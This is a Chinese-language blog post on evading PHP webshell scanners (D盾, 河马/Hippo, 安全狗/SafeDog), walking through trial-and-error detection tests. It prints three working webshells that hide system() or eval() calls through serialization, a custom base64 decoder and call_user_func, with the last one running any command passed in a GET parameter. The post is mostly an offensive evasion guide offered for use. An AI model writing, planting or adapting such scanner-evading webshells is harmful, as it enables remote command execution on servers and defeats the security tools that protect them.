PHP免杀

免杀

免杀就是制作开发的病毒木马(脚本或者二进制)不被杀毒软件检测出。
而对于web手而言,最熟悉,也是最好入手的就是php免杀

免杀思路

分析杀软(WAF),为什么杀你制作的病毒木马,是规则匹配引擎,是机器学习引擎,等等。只有你知道WAF为什么查杀你,你才知道如何绕过,达到免杀效果。

免杀过程

  1. 定位关键点
  2. 分析关键点
  3. 混淆关键点

杀软类型

  1. 本地杀软
  2. 云端杀软
  3. 二进制杀软
  4. 脚本杀软

常用方法

  1. 工具免杀
  2. 代码膨胀(增加代码量)
  3. 多层函数嵌套

本地杀软

本地杀软主要是绕过火绒,安全狗,D盾,河马等,而本地杀软对比起其他方式,对于攻击者来说是最友好的,因为本地杀软100%可以确定能不能绕过,只有两个结果,清楚明确,不需要猜测。

测试免杀D盾

首先写最简单的一句话木马试试

D盾成功拦截

再试试我们常用方法中的代码膨胀,主要是向其注入足够的垃圾数据,来绕过本地杀软软件

代码膨胀免杀失败

按照我们的免杀过程,我们先定位关键点,先判断是否过滤了system函数

system($a);被查杀
system();函数能够正常使用

因此判断,D盾会检查system函数中的参数,来判断其安全性

依然是过滤参数,我们先试一下用class是否能绕过
使用class免杀失败

还是被查杀了,既然都想到用类了,那就再序列化试一下
序列化免杀成功

经过序列化之后,我们成功绕过了,但这样是无法成功执行的,我们只需要截取序列化中的关键词出来就行
免杀成功
命令执行成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 

class C {
var $cmd = "calc";
}

function getC() {
return new C;
}

function test($cmd)
{
$l = $_GET["l"];
system(substr(serialize(getC()),26,$l));
}

test("aa");
?>

测试免杀河马

我们先尝试用之前成功免杀D盾的代码来测试一下河马

被河马查杀
能绕过D盾的代码直接被河马查杀了

还是按照上面的思路,我们先定位关键点

发现河马直接过滤掉了system(),无论是否带有参数都直接查杀,挺狗的
接着尝试,发现eval()函数可以使用,但用eval()函数去调用system()也会被查杀
用编码绕过试一下

system(calc);base64编码得到c3lzdGVtKCdjbGFjJyk7
被河马查杀

仍然不能绕过,貌似会检测到base64_decode函数,网上找一个手写的脚本,改个函数名试试

还是被查杀
好怪啊,怎么这样还是被查杀,莫非是河马自己后台用php跑一遍测试,或者是跟随了你的代码执行顺序逐句查杀


不是吧,这样还是被查杀了,按照代码执行顺序也不对呀

再反复测试,反复调试了一个下午,最后发现

查杀了注释!!!

成功免杀
这次终于对了,删掉了注释,按照代码执行顺序,执行不到eval()函数,成功绕过了河马
那我们接下来只需要让它无法判断是否该执行if条件中的语句,就能成功绕过

成功执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
function Glacier($input) {
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";

$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int) $chr1);
if ($enc3 != 64) {
$output = $output . chr((int) $chr2);
}
if ($enc4 != 64) {
$output = $output . chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return urldecode($output);
}

$b = Glacier("c3lzdGVtKCdjYWxjJyk7");
if ($_GET["a"] > $_GET["b"]){
eval($b);
}
?>

这里的函数是用的网上别人手写的base64,其实也可以直接用php库中的其他编码形式来绕过河马。

测试免杀safedog

使用绕过河马的exp会被safedog拦截,测试发现其是逻辑过滤了eval的参数,那我们换个php的原生函数试一试

这里的分析过程与上面类似,我们使用了php的原生函数call_user_fnuc("aa",$_GET["a"])
这里直接贴上exp

1
2
3
4
5
6
<?php
function aa ($cc){
system($cc);
}
eval(call_user_func("aa",$_GET["a"]));
?>

成功绕过安全狗
命令执行成功


PHP免杀
https://glacierrrr.online/2022/09/11/PHP免杀/
作者
Glacier
发布于
2022年9月11日
许可协议